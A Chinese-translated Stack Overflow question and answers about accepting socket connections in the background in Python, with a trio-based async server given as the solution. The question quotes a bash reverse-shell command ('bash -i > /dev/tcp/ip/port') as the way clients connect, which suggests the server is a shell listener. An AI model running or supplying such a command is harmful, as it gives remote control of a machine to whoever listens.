【问题标题】:How can I accept new connection requests in the background?如何在后台接受新的连接请求?
【发布时间】:2019-11-10 22:33:53
【问题描述】:

我的服务器接受来自客户端的连接请求。客户端使用此命令发送连接请求:bash -i > /dev/tcp/ip/port 0<&1 1>&1。我希望我的服务器立即接受新的连接请求并将它们记录到控制台,但我不知道如何。在下面的代码中有while循环。正如我们所见,command_accept() 需要自行完成,client_accept() 才能启动。这意味着我总是需要传递一些命令来接受新的客户端请求。我需要 client_accept() 始终在后台运行。

我尝试为我的输入设置时间限制,但这不是我需要的解决方案。我也尝试了不同的库进行异步编程,虽然我不确定我是否正确地这样做。

import socket
import time
import sys


host = '127.0.0.1'
port = 1344
id_counter = 0

server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.settimeout(0.1)

server.bind((host, port))
server.listen()

clients = {}

def client_accept(server):
    while True:
        try:
            conn, addr = server.accept()
            global id_counter
            id_counter += 1
            clients[id_counter] = (conn, addr)
            print(f'{time.ctime()} New client [ID {id_counter}] with address {str(addr[0])}:{str(addr[1])}')
        except socket.timeout:
            break

def command_accept():
    command = input('server > ')
    #** don't pay attention **#
    if command == 'exit':
        sys.exit()
    else:
        print(f'command {command} accepted!')   

while True:
    command_accept()
    client_accept(server)

预期结果:我没有向 command_accept 中的输入传递任何内容,但如果新客户端发送请求,则服务器将立即接受它并打印地址为 127.0.0.1:45431 的新客户端 [ID 1] 之类的内容。

【问题讨论】:

  • 您可以使用异步网络框架来解决此类问题。例如扭曲。
  • 感谢您的回答。我尝试使用不同的异步库,但它没有以正确的方式工作。如果能告诉我如何正确编码,我将非常感谢您的帮助。

标签: python sockets networking multiprocessing python-asyncio


【解决方案1】:

作为尝试trio async 库的借口,我将您的代码移植到其中

首先为客户端连接定义一个简单的类以及跟踪它们的代码:

from sys import stderr
from itertools import count

class Client:
    def __init__(self, stream):
        self.stream = stream

    async def run(self):
        lines = LineReader(self.stream)
        while True:
            line = (await lines.readline()).decode('ascii')
            if not line or line.strip().casefold() in {'quit', 'exit'}:
                await self.stream.send_all(b'bye!\r\n')
                break
            resp = f'got {line!r}'
            await self.stream.send_all(resp.encode('ascii') + b'\r\n')

CLIENT_COUNTER = count()
CLIENTS = {}

async def handle_client(stream):
    client_id = next(CLIENT_COUNTER)
    client = Client(stream)
    async with stream:
        CLIENTS[client_id] = client
        try:
            await client.run()
        except Exception as err:
            print('client failed', err, file=stderr)
        finally:
            del CLIENTS[client_id]

LineReader来自这里:https://stackoverflow.com/a/53576829/1358308

接下来我们可以定义服务器标准输入处理:

async def handle_local(nursery):
    while True:
        try:
            command = await async_input('server > ')
        except EOFError:
            command = 'exit'

        if command == 'exit':
            nursery.cancel_scope.cancel()
        elif command == 'list':
            for id, client in CLIENTS.items():
                print(id, client.stream.socket.getpeername())
        else:
            print(f'unknown command {command!r}')

查看info about nurseries 的文档

这使用一个实用函数将input 包装成async function

import trio

async def async_input(prompt=None):
    return await trio.run_sync_in_worker_thread(
        input, prompt, cancellable=True)

然后我们定义代码将所有部分联系在一起:

SERVE_HOST = 'localhost'
SERVE_PORT = 1344


async def async_main():
    async with trio.open_nursery() as nursery:
        nursery.start_soon(handle_local, nursery)

        await trio.serve_tcp(
            handle_client,
            port=SERVE_PORT, host=SERVE_HOST,
            handler_nursery=nursery)

trio.run(async_main)

更多链接/参考(作者三人组):

【讨论】:

  • 真的很好。谢谢
  • 您只发布了两个功能,它们的哪些方面很重要?我建议阅读上面的回显服务器教程,它涵盖了有关网络代码中常见故障以及如何处理它们的许多详细信息。在提交太多代码之前了解此类内容会有所帮助
  • 上面这段代码只是我项目的一部分。不幸的是,我无法更改当前功能。
  • 我猜有人限制了您可以更改的内容。我建议您与该人分享技术问题并寻求帮助。
【解决方案2】:

尝试使用 socket.io 和 Threading 来做到这一点,因此如果套接字收到 ON_CONNECT 事件,您只需将信息推送到列表中并将其打印到控制台。

【讨论】:

  • 感谢您的回答。你能更详细地表达你的想法吗?
猜你喜欢
  • 1970-01-01
  • 2015-04-22
  • 1970-01-01
  • 2012-05-19
  • 1970-01-01
  • 2021-08-08
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多